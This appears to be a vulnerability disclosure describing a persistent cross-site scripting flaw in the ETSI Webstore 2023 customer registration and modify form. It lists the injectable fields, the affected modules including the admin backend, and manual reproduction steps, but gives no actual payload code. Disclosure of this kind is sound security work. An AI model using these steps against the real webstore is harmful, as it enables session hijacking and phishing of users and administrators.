Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in the
official ETSI Webstore 2023 web-application.
The vulnerability allows remote attackers to inject own malicious script codes
with persistent attack vector to compromise
browser to web-application requests from the application-side.
The vulnerability is located in the all input fields of the
NewOrModifyCustomer.asp registration / modify formular.
Remote attackers are able to inject own malicious script code with persistent
attack vector by an inject in the
wrong sanitized input fields. The injection point is the registration or modify
formular of the webstore.
The execution points are located in the index, listarticle, myprofiles and user
backend listing of the webstore
web-appliation service.
Successful exploitation of the vulnerability results in session hijacking,
persistent phishing attacks, persistent
external redirects to malicious source and persistent manipulation of affected
application modules.
Request Methode:
[+] POST
Vulnerable Inputs:
[+] first name
[+] last name
[+] company name
[+] address
Affected Modules:
[+] MyProfile
[+] ListArticle
[+] ShowCustomer
Proof of Concept (PoC):
=======================
The persistent input validation web vulnerability can be exploited by remote
attackers with low privileged user account and low user interaction.
For security demonstration or to reproduce the persistent cross site web
vulnerability follow the provided information and steps below to continue.
Manual steps to reproduce the vulnerability ...
1. Register an account for the etsi webstore using the registration formular
2. Inject script code payloads to the firstname, lastname, companyname and
address input fields
3. Save the account by submit via post method request
4. Confirm the email and logon to the account
Note: After the login the execution takes place in the header were the user
data is show as well as in separated websites were adress data is displayed. On
preview of the customer in the backend an execution of the malicious payload
takes as well place.
5. Successful reproduce of the persistent web vulnerability!
